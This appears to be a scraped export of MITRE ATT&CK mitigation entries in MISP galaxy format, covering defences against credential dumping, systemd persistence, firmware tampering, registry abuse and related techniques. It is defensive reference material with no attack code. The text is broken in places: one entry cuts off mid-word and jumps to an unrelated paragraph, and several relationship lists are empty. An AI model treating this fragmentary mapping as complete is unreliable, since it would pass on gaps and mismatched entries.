Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration.
of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

**Linux**

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: `misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"`

Systemd Service Mitigation - T1501 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"` with estimative-
Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. **Redundant Access Mitigation - T1108**

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Redundant Access Mitigation - T1108 has relationships with:

Component Firmware Mitigation - T1109

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.

The tag is: misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"

Component Firmware Mitigation - T1109 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"

System Firmware Mitigation - T1019

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"

System Firmware Mitigation - T1019 has relationships with:
• mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

### Threat Intelligence Program - M1019

A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.

The tag is: *misp-galaxy:mitre-course-of-action=*"Threat Intelligence Program - M1019"

**Threat Intelligence Program - M1019 has relationships with:**

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

### Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action=*"Data Encrypted Mitigation - T1022"

**Data Encrypted Mitigation - T1022 has relationships with:**

• mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation - T1023"

Shortcut Modification Mitigation - T1023 has relationships with:

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: `misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"`

User Execution Mitigation - T1204 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="User Execution - T1204"` with estimative-language:likelihood-probability="almost-certain"

Restrict Registry Permissions - M1024

Restrict the ability to modify certain hives or keys in the Windows Registry.

The tag is: `misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"`

Restrict Registry Permissions - M1024 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
User Account Control - M1052

Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.

The tag is: `misp-galaxy:mitre-course-of-action="User Account Control - M1052"`

User Account Control - M1052 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044"` with estimative-language:likelihood-probability="almost-certain"

Table 2841. Table References

Privileged Process Integrity - M1025

Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.

The tag is: `misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"`

Privileged Process Integrity - M1025 has relationships with:

Port Knocking Mitigation - T1205

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"

Port Knocking Mitigation - T1205 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"

Privileged Account Management - M1026

Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.

The tag is: misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"

Privileged Account Management - M1026 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
